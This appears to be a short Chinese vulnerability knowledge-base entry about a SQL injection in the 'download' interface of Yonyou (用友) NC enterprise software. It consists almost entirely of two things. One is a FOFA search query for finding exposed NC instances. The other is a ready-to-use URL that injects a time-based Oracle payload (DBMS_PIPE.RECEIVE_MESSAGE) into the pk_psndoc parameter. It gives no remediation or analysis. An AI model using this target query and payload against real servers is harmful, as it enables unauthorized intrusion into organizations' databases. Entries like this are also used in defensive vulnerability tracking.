用友NC接口download存在SQL注入漏洞

fofa

1	`app="用友-UFIDA-NC"`

1	`http://ip/portal/pt/psnImage/download?pageId=login&pk_psndoc=1%27)%20AND%206322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)\|\|CHR(79)\|\|CHR(66)\|\|CHR(101),5)%20AND%20(%27rASZ%27=%27rASZ`

漏洞知识库